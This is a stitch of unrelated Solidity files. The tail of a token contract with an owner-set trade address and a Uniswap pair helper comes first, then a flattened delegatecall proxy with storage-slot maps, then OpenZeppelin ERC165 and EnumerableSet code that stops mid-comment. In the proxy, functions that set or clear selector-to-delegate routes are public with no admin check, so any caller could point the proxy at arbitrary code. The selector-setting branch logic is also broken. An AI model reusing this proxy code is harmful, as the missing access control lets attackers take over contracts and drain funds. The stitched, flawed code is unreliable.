address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
// Sources flattened with hardhat v2.1.2 https://hardhat.org
// File contracts/proxy/Base.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract Base {
constructor () public {
}
//0x20 - length
//0x53c6eaee8696e4c5200d3d231b29cc6a40b3893a5ae1536b0ac08212ffada877
bytes constant notFoundMark = abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("404-method-not-found")))))));
//return the payload of returnData, stripe the leading length
function returnAsm(bool isRevert, bytes memory returnData) pure internal {
assembly{
let length := mload(returnData)
switch isRevert
case 0x00{
return (add(returnData, 0x20), length)
}
default{
revert (add(returnData, 0x20), length)
}
}
}
modifier nonPayable(){
require(msg.value == 0, "nonPayable");
_;
}
}
// File contracts/proxy/SlotData.sol
contract SlotData {
constructor() public {}
// for map, key could be 0x00, but value can't be 0x00;
// if value == 0x00, it mean the key doesn't has any value
function sysMapSet(bytes32 mappingSlot, bytes32 key, bytes32 value) internal returns (uint256 length){
length = sysMapLen(mappingSlot);
bytes32 elementOffset = sysCalcMapOffset(mappingSlot, key);
bytes32 storedValue = sysLoadSlotData(elementOffset);
if (value == storedValue) {
//if value == 0 & storedValue == 0
//if value == storedValue != 0
//needn't set same value;
} else if (value == bytes32(0x00)) {
//storedValue != 0
//deleting value
sysSaveSlotData(elementOffset, value);
length--;
sysSaveSlotData(mappingSlot, bytes32(length));
} else if (storedValue == bytes32(0x00)) {
//value != 0
//adding new value
sysSaveSlotData(elementOffset, value);
length++;
sysSaveSlotData(mappingSlot, bytes32(length));
} else {
//value != storedValue & value != 0 & storedValue !=0
//updating
sysSaveSlotData(elementOffset, value);
}
return length;
}
function sysMapGet(bytes32 mappingSlot, bytes32 key) internal view returns (bytes32){
bytes32 elementOffset = sysCalcMapOffset(mappingSlot, key);
return sysLoadSlotData(elementOffset);
}
function sysMapLen(bytes32 mappingSlot) internal view returns (uint256){
return uint256(sysLoadSlotData(mappingSlot));
}
function sysLoadSlotData(bytes32 slot) internal view returns (bytes32){
//ask a stack position
bytes32 ret;
assembly{
ret := sload(slot)
}
return ret;
}
function sysSaveSlotData(bytes32 slot, bytes32 data) internal {
assembly{
sstore(slot, data)
}
}
function sysCalcMapOffset(bytes32 mappingSlot, bytes32 key) internal pure returns (bytes32){
return bytes32(keccak256(abi.encodePacked(key, mappingSlot)));
}
function sysCalcSlot(bytes memory name) public pure returns (bytes32){
return keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(name))))));
}
function calcNewSlot(bytes32 slot, string memory name) internal pure returns (bytes32){
return keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(slot, name))))));
}
}
// File contracts/proxy/EnhancedMap.sol
//this is just a normal mapping, but which holds size and you can specify slot
/*
both key and value shouldn't be 0x00
the key must be unique, the value would be whatever
slot
key --- value
a --- 1
b --- 2
c --- 3
c --- 4 X not allowed
d --- 3
e --- 0 X not allowed
0 --- 9 X not allowed
*/
contract EnhancedMap is SlotData {
constructor() public {}
//set value to 0x00 to delete
function sysEnhancedMapSet(bytes32 slot, bytes32 key, bytes32 value) internal {
require(key != bytes32(0x00), "sysEnhancedMapSet, notEmptyKey");
sysMapSet(slot, key, value);
}
function sysEnhancedMapAdd(bytes32 slot, bytes32 key, bytes32 value) internal {
require(key != bytes32(0x00), "sysEnhancedMapAdd, notEmptyKey");
require(value != bytes32(0x00), "EnhancedMap add, the value shouldn't be empty");
require(sysMapGet(slot, key) == bytes32(0x00), "EnhancedMap, the key already has value, can't add duplicate key");
sysMapSet(slot, key, value);
}
function sysEnhancedMapDel(bytes32 slot, bytes32 key) internal {
require(key != bytes32(0x00), "sysEnhancedMapDel, notEmptyKey");
require(sysMapGet(slot, key) != bytes32(0x00), "sysEnhancedMapDel, the key doesn't has value, can't delete empty key");
sysMapSet(slot, key, bytes32(0x00));
}
function sysEnhancedMapReplace(bytes32 slot, bytes32 key, bytes32 value) public {
require(key != bytes32(0x00), "sysEnhancedMapReplace, notEmptyKey");
require(value != bytes32(0x00), "EnhancedMap replace, the value shouldn't be empty");
require(sysMapGet(slot, key) != bytes32(0x00), "EnhancedMap, the key doesn't has value, can't replace it");
sysMapSet(slot, key, value);
}
function sysEnhancedMapGet(bytes32 slot, bytes32 key) internal view returns (bytes32){
require(key != bytes32(0x00), "sysEnhancedMapGet, notEmptyKey");
return sysMapGet(slot, key);
}
function sysEnhancedMapSize(bytes32 slot) internal view returns (uint256){
return sysMapLen(slot);
}
}
// File contracts/proxy/EnhancedUniqueIndexMap.sol
//once you input a value, it will auto generate an index for that
//index starts from 1, 0 means this value doesn't exist
//the value must be unique, and can't be 0x00
//the index must be unique, and can't be 0x00
/*
slot
value --- index
a --- 1
b --- 2
c --- 3
c --- 4 X not allowed
d --- 3 X not allowed
e --- 0 X not allowed
indexSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked(slot))))));
index --- value
1 --- a
2 --- b
3 --- c
3 --- d X not allowed
*/
contract EnhancedUniqueIndexMap is SlotData {
constructor() public {}
// slot : value => index
function sysUniqueIndexMapAdd(bytes32 slot, bytes32 value) internal {
require(value != bytes32(0x00));
bytes32 indexSlot = calcIndexSlot(slot);
uint256 index = uint256(sysMapGet(slot, value));
require(index == 0, "sysUniqueIndexMapAdd, value already exist");
uint256 last = sysUniqueIndexMapSize(slot);
last ++;
sysMapSet(slot, value, bytes32(last));
sysMapSet(indexSlot, bytes32(last), value);
}
function sysUniqueIndexMapDel(bytes32 slot, bytes32 value) internal {
//require(value != bytes32(0x00), "sysUniqueIndexMapDel, value must not be 0x00");
bytes32 indexSlot = calcIndexSlot(slot);
uint256 index = uint256(sysMapGet(slot, value));
require(index != 0, "sysUniqueIndexMapDel, value doesn't exist");
uint256 lastIndex = sysUniqueIndexMapSize(slot);
require(lastIndex > 0, "sysUniqueIndexMapDel, lastIndex must be large than 0, this must not happen");
if (index != lastIndex) {
bytes32 lastValue = sysMapGet(indexSlot, bytes32(lastIndex));
//move the last to the current place
//this would be faster than move all elements forward after the deleting one, but not stable(the sequence will change)
sysMapSet(slot, lastValue, bytes32(index));
sysMapSet(indexSlot, bytes32(index), lastValue);
}
sysMapSet(slot, value, bytes32(0x00));
sysMapSet(indexSlot, bytes32(lastIndex), bytes32(0x00));
}
function sysUniqueIndexMapDelArrange(bytes32 slot, bytes32 value) internal {
require(value != bytes32(0x00), "sysUniqueIndexMapDelArrange, value must not be 0x00");
bytes32 indexSlot = calcIndexSlot(slot);
uint256 index = uint256(sysMapGet(slot, value));
require(index != 0, "sysUniqueIndexMapDelArrange, value doesn't exist");
uint256 lastIndex = (sysUniqueIndexMapSize(slot));
require(lastIndex > 0, "sysUniqueIndexMapDelArrange, lastIndex must be large than 0, this must not happen");
sysMapSet(slot, value, bytes32(0x00));
while (index < lastIndex) {
bytes32 nextValue = sysMapGet(indexSlot, bytes32(index + 1));
sysMapSet(indexSlot, bytes32(index), nextValue);
sysMapSet(slot, nextValue, bytes32(index));
index ++;
}
sysMapSet(indexSlot, bytes32(lastIndex), bytes32(0x00));
}
function sysUniqueIndexMapReplace(bytes32 slot, bytes32 oldValue, bytes32 newValue) internal {
require(oldValue != bytes32(0x00), "sysUniqueIndexMapReplace, oldValue must not be 0x00");
require(newValue != bytes32(0x00), "sysUniqueIndexMapReplace, newValue must not be 0x00");
bytes32 indexSlot = calcIndexSlot(slot);
uint256 index = uint256(sysMapGet(slot, oldValue));
require(index != 0, "sysUniqueIndexMapDel, oldValue doesn't exists");
require(uint256(sysMapGet(slot, newValue)) == 0, "sysUniqueIndexMapDel, newValue already exists");
sysMapSet(slot, oldValue, bytes32(0x00));
sysMapSet(slot, newValue, bytes32(index));
sysMapSet(indexSlot, bytes32(index), newValue);
}
//============================view & pure============================
function sysUniqueIndexMapSize(bytes32 slot) internal view returns (uint256){
return sysMapLen(slot);
}
//returns index, 0 mean not exist
function sysUniqueIndexMapGetIndex(bytes32 slot, bytes32 value) internal view returns (uint256){
return uint256(sysMapGet(slot, value));
}
function sysUniqueIndexMapGetValue(bytes32 slot, uint256 index) internal view returns (bytes32){
bytes32 indexSlot = calcIndexSlot(slot);
return sysMapGet(indexSlot, bytes32(index));
}
// index => value
function calcIndexSlot(bytes32 slot) internal pure returns (bytes32){
return calcNewSlot(slot, "index");
}
}
// File contracts/proxy/Proxy.sol
contract Proxy is Base, EnhancedMap, EnhancedUniqueIndexMap {
constructor (address admin) public {
require(admin != address(0));
sysSaveSlotData(adminSlot, bytes32(uint256(admin)));
sysSaveSlotData(userSigZeroSlot, bytes32(uint256(0)));
sysSaveSlotData(outOfServiceSlot, bytes32(uint256(0)));
sysSaveSlotData(revertMessageSlot, bytes32(uint256(1)));
//sysSetDelegateFallback(address(0));
sysSaveSlotData(transparentSlot, bytes32(uint256(1)));
}
bytes32 constant adminSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("adminSlot"))))));
bytes32 constant revertMessageSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("revertMessageSlot"))))));
bytes32 constant outOfServiceSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("outOfServiceSlot"))))));
//address <===> index EnhancedUniqueIndexMap
//0x2f80e9a12a11b80d2130b8e7dfc3bb1a6c04d0d87cc5c7ea711d9a261a1e0764
bytes32 constant delegatesSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("delegatesSlot"))))));
//bytes4 abi ===> address, both not 0x00
//0xba67a9e2b7b43c3c9db634d1c7bcdd060aa7869f4601d292a20f2eedaf0c2b1c
bytes32 constant userAbiSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userAbiSlot"))))));
bytes32 constant userAbiSearchSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userAbiSearchSlot"))))));
//0xe2bb2e16cbb16a10fab839b4a5c3820d63a910f4ea675e7821846c4b2d3041dc
bytes32 constant userSigZeroSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("userSigZeroSlot"))))));
bytes32 constant transparentSlot = keccak256(abi.encodePacked(keccak256(abi.encodePacked(keccak256(abi.encodePacked("transparentSlot"))))));
event DelegateSet(address delegate, bool activated);
event AbiSet(bytes4 abi, address delegate, bytes32 slot);
event PrintBytes(bytes data);
//===================================================================================
//
function sysCountDelegate() public view returns (uint256){
return sysUniqueIndexMapSize(delegatesSlot);
}
function sysGetDelegateAddress(uint256 index) public view returns (address){
return address(uint256(sysUniqueIndexMapGetValue(delegatesSlot, index)));
}
function sysGetDelegateIndex(address addr) public view returns (uint256) {
return uint256(sysUniqueIndexMapGetIndex(delegatesSlot, bytes32(uint256(addr))));
}
function sysGetDelegateAddresses() public view returns (address[] memory){
uint256 count = sysCountDelegate();
address[] memory delegates = new address[](count);
for (uint256 i = 0; i < count; i++) {
delegates[i] = sysGetDelegateAddress(i + 1);
}
return delegates;
}
//add delegates on current version
function sysAddDelegates(address[] memory _inputs) public onlyAdmin {
for (uint256 i = 0; i < _inputs.length; i ++) {
sysUniqueIndexMapAdd(delegatesSlot, bytes32(uint256(_inputs[i])));
emit DelegateSet(_inputs[i], true);
}
}
//delete delegates
//be careful, if you delete a delegate, the index will change
function sysDelDelegates(address[] memory _inputs) public onlyAdmin {
for (uint256 i = 0; i < _inputs.length; i ++) {
//travers all abis to delete those abis mapped to the given address
uint256 j;
uint256 k;
/*bytes4[] memory toDeleteSelectors = new bytes4[](count + 1);
uint256 pivot = 0;*/
uint256 count = sysCountSelectors();
/*for (j = 0; j < count; j ++) {
bytes4 selector;
address delegate;
(selector, delegate) = sysGetUserSelectorAndDelegateByIndex(j + 1);
if (delegate == _inputs[i]) {
toDeleteSelectors[pivot] = selector;
pivot++;
}
}
pivot = 0;
while (toDeleteSelectors[pivot] != bytes4(0x00)) {
sysSetUserSelectorAndDelegate(toDeleteSelectors[pivot], address(0));
pivot++;
}*/
k = 1;
for (j = 0; j < count; j++) {
bytes4 selector;
address delegate;
(selector, delegate) = sysGetSelectorAndDelegateByIndex(k);
if (delegate == _inputs[i]) {
sysSetSelectorAndDelegate(selector, address(0));
}
else {
k++;
}
}
if (sysGetSigZero() == _inputs[i]) {
sysSetSigZero(address(0x00));
}
sysUniqueIndexMapDelArrange(delegatesSlot, bytes32(uint256(_inputs[i])));
emit DelegateSet(_inputs[i], false);
}
}
//add and delete delegates
function sysReplaceDelegates(address[] memory _delegatesToDel, address[] memory _delegatesToAdd) public onlyAdmin {
require(_delegatesToDel.length == _delegatesToAdd.length, "sysReplaceDelegates, length does not match");
for (uint256 i = 0; i < _delegatesToDel.length; i ++) {
sysUniqueIndexMapReplace(delegatesSlot, bytes32(uint256(_delegatesToDel[i])), bytes32(uint256(_delegatesToAdd[i])));
emit DelegateSet(_delegatesToDel[i], false);
emit DelegateSet(_delegatesToAdd[i], true);
}
}
//=============================================
function sysGetSigZero() public view returns (address){
return address(uint256(sysLoadSlotData(userSigZeroSlot)));
}
function sysSetSigZero(address _input) public onlyAdmin {
sysSaveSlotData(userSigZeroSlot, bytes32(uint256(_input)));
}
function sysGetAdmin() public view returns (address){
return address(uint256(sysLoadSlotData(adminSlot)));
}
function sysSetAdmin(address _input) external onlyAdmin {
sysSaveSlotData(adminSlot, bytes32(uint256(_input)));
}
function sysGetRevertMessage() public view returns (uint256){
return uint256(sysLoadSlotData(revertMessageSlot));
}
function sysSetRevertMessage(uint256 _input) external onlyAdmin {
sysSaveSlotData(revertMessageSlot, bytes32(_input));
}
function sysGetOutOfService() public view returns (uint256){
return uint256(sysLoadSlotData(outOfServiceSlot));
}
function sysSetOutOfService(uint256 _input) external onlyAdmin {
sysSaveSlotData(outOfServiceSlot, bytes32(_input));
}
function sysGetTransparent() public view returns (uint256){
return uint256(sysLoadSlotData(transparentSlot));
}
function sysSetTransparent(uint256 _input) public onlyAdmin {
sysSaveSlotData(transparentSlot, bytes32(_input));
}
//=============================================
//abi and delegates should not be 0x00 in mapping;
//set delegate to 0x00 for delete the entry
function sysSetSelectorsAndDelegates(bytes4[] memory selectors, address[] memory delegates) public onlyAdmin {
require(selectors.length == delegates.length, "sysSetUserSelectorsAndDelegates, length does not matchs");
for (uint256 i = 0; i < selectors.length; i ++) {
sysSetSelectorAndDelegate(selectors[i], delegates[i]);
}
}
function sysSetSelectorAndDelegate(bytes4 selector, address delegate) public {
require(selector != bytes4(0x00), "sysSetSelectorAndDelegate, selector should not be selector");
//require(delegates[i] != address(0x00));
address oldDelegate = address(uint256(sysEnhancedMapGet(userAbiSlot, bytes32(selector))));
if (oldDelegate == delegate) {
//if oldDelegate == 0 & delegate == 0
//if oldDelegate == delegate != 0
//do nothing here
}
if (oldDelegate == address(0x00)) {
//delegate != 0
//adding new value
sysEnhancedMapAdd(userAbiSlot, bytes32(selector), bytes32(uint256(delegate)));
sysUniqueIndexMapAdd(userAbiSearchSlot, bytes32(selector));
}
if (delegate == address(0x00)) {
//oldDelegate != 0
//deleting new value
sysEnhancedMapDel(userAbiSlot, bytes32(selector));
sysUniqueIndexMapDel(userAbiSearchSlot, bytes32(selector));
} else {
//oldDelegate != delegate & oldDelegate != 0 & delegate !=0
//updating
sysEnhancedMapReplace(userAbiSlot, bytes32(selector), bytes32(uint256(delegate)));
}
}
function sysGetDelegateBySelector(bytes4 selector) public view returns (address){
return address(uint256(sysEnhancedMapGet(userAbiSlot, bytes32(selector))));
}
function sysCountSelectors() public view returns (uint256){
return sysEnhancedMapSize(userAbiSlot);
}
function sysGetSelector(uint256 index) public view returns (bytes4){
bytes4 selector = bytes4(sysUniqueIndexMapGetValue(userAbiSearchSlot, index));
return selector;
}
function sysGetSelectorAndDelegateByIndex(uint256 index) public view returns (bytes4, address){
bytes4 selector = sysGetSelector(index);
address delegate = sysGetDelegateBySelector(selector);
return (selector, delegate);
}
function sysGetSelectorsAndDelegates() public view returns (bytes4[] memory selectors, address[] memory delegates){
uint256 count = sysCountSelectors();
selectors = new bytes4[](count);
delegates = new address[](count);
for (uint256 i = 0; i < count; i ++) {
(selectors[i], delegates[i]) = sysGetSelectorAndDelegateByIndex(i + 1);
}
}
function sysClearSelectorsAndDelegates() public {
uint256 count = sysCountSelectors();
for (uint256 i = 0; i < count; i ++) {
bytes4 selector;
address delegate;
//always delete the first, after 'count' times, it will clear all
(selector, delegate) = sysGetSelectorAndDelegateByIndex(1);
sysSetSelectorAndDelegate(selector, address(0x00));
}
}
//=====================internal functions=====================
receive() payable external {
process();
}
fallback() payable external {
process();
}
//since low-level address.delegateCall is available in solidity,
//we don't need to write assembly
function process() internal outOfService {
if (msg.sender == sysGetAdmin() && sysGetTransparent() == 1) {
revert("admin cann't call normal function in Transparent mode");
}
/*
the default transfer will set data to empty,
so that the msg.data.length = 0 and msg.sig = bytes4(0x00000000),
however some one can manually set msg.sig to 0x00000000 and tails more man-made data,
so here we have to forward all msg.data to delegates
*/
address targetDelegate;
//for look-up table
/* if (msg.sig == bytes4(0x00000000)) {
targetDelegate = sysGetUserSigZero();
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
targetDelegate = sysGetSystemSigZero();
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
} else {
targetDelegate = sysGetUserDelegate(msg.sig);
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
//check system abi look-up table
targetDelegate = sysGetSystemDelegate(msg.sig);
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
}*/
if (msg.sig == bytes4(0x00000000)) {
targetDelegate = sysGetSigZero();
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
} else {
targetDelegate = sysGetDelegateBySelector(msg.sig);
if (targetDelegate != address(0x00)) {
delegateCallExt(targetDelegate, msg.data);
}
}
//goes here means this abi is not in the system abi look-up table
discover();
//hit here means not found selector
if (sysGetRevertMessage() == 1) {
revert(string(abi.encodePacked(sysPrintAddressToHex(address(this)), ", function selector not found : ", sysPrintBytes4ToHex(msg.sig))));
} else {
revert();
}
}
function discover() internal {
bool found = false;
bool error;
bytes memory returnData;
address targetDelegate;
uint256 len = sysCountDelegate();
for (uint256 i = 0; i < len; i++) {
targetDelegate = sysGetDelegateAddress(i + 1);
(found, error, returnData) = redirect(targetDelegate, msg.data);
if (found) {
/*if (msg.sig == bytes4(0x00000000)) {
sysSetSystemSigZero(targetDelegate);
} else {
sysSetSystemSelectorAndDelegate(msg.sig, targetDelegate);
}*/
returnAsm(error, returnData);
}
}
}
function delegateCallExt(address targetDelegate, bytes memory callData) internal {
bool found = false;
bool error;
bytes memory returnData;
(found, error, returnData) = redirect(targetDelegate, callData);
require(found, "delegateCallExt to a delegate in the map but finally not found, this shouldn't happen");
returnAsm(error, returnData);
}
//since low-level ```<address>.delegatecall(bytes memory) returns (bool, bytes memory)``` can return returndata,
//we use high-level solidity for better reading
function redirect(address delegateTo, bytes memory callData) internal returns (bool found, bool error, bytes memory returnData){
require(delegateTo != address(0), "delegateTo must not be 0x00");
bool success;
(success, returnData) = delegateTo.delegatecall(callData);
if (success == true && keccak256(returnData) == keccak256(notFoundMark)) {
//the delegate returns ```notFoundMark``` notFoundMark, which means invoke goes to wrong contract or function doesn't exist
return (false, true, returnData);
} else {
return (true, !success, returnData);
}
}
function sysPrintBytesToHex(bytes memory input) internal pure returns (string memory){
bytes memory ret = new bytes(input.length * 2);
bytes memory alphabet = "0123456789abcdef";
for (uint256 i = 0; i < input.length; i++) {
bytes32 t = bytes32(input[i]);
bytes32 tt = t >> 31 * 8;
uint256 b = uint256(tt);
uint256 high = b / 0x10;
uint256 low = b % 0x10;
byte highAscii = alphabet[high];
byte lowAscii = alphabet[low];
ret[2 * i] = highAscii;
ret[2 * i + 1] = lowAscii;
}
return string(ret);
}
function sysPrintAddressToHex(address input) internal pure returns (string memory){
return sysPrintBytesToHex(
abi.encodePacked(input)
);
}
function sysPrintBytes4ToHex(bytes4 input) internal pure returns (string memory){
return sysPrintBytesToHex(
abi.encodePacked(input)
);
}
function sysPrintUint256ToHex(uint256 input) internal pure returns (string memory){
return sysPrintBytesToHex(
abi.encodePacked(input)
);
}
modifier onlyAdmin(){
require(msg.sender == sysGetAdmin(), "only admin");
_;
}
modifier outOfService(){
if (sysGetOutOfService() == uint256(1)) {
if (sysGetRevertMessage() == 1) {
revert(string(abi.encodePacked("Proxy is out-of-service right now")));
} else {
revert();
}
}
_;
}
}
/*function() payable external {
bytes32 notFound = notFoundMark;
assembly {
let ptr := mload(0x40)
mstore(ptr, notFound)
return (ptr, 32)
}
}*/
/* bytes4 selector = msg.sig;
uint256 size;
uint256 ptr;
bool result;
//check if the shortcut hit
address delegateTo = checkShortcut(selector);
if (delegateTo != address(0x00)) {
assembly{
ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
result := delegatecall(gas, delegateTo, ptr, calldatasize, 0, 0)
size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 {revert(ptr, size)}
default {return (ptr, size)}
}
}
//no shortcut
bytes32 notFound = notFoundMark;
bool found = false;
for (uint256 i = 0; i < delegates.length && !found; i ++) {
delegateTo = delegates[i];
assembly{
result := delegatecall(gas, delegateTo, 0, 0, 0, 0)
size := returndatasize
returndatacopy(ptr, 0, size)
mstore(0x40, add(ptr, size))//update free memory pointer
found := 0x01 //assume we found the target function
if and(and(eq(result, 0x01), eq(size, 0x20)), eq(mload(ptr), notFound)){
//match the "notFound" mark
found := 0x00
}
}
if (found) {
emit FunctionFound(delegateTo);
//add to shortcut, take effect only when the delegatecall returns 1 (not 0-revert)
shortcut[selector] = delegateTo;
//return data
assembly{
switch result
case 0 {revert(ptr, size)}
default {return (ptr, size)}
}
}
}
//comes here for not found
emit FunctionNotFound(selector);*/
// File @openzeppelin/contracts/introspection/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File contracts/erc165/CERC165Interface.sol
interface CERC165Interface is IERC165 {
function supportsInterface(bytes4 interfaceId) override external view returns (bool);
}
// File contracts/erc165/CERC165Layout.sol
contract CERC165Layout {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 internal constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) internal _supportedInterfaces;
}
// File contracts/erc165/CERC165LogicBase.sol
contract CERC165LogicBase is CERC165Layout {
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File contracts/erc165/CERC165Storage.sol
contract CERC165Storage is CERC165LogicBase {
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
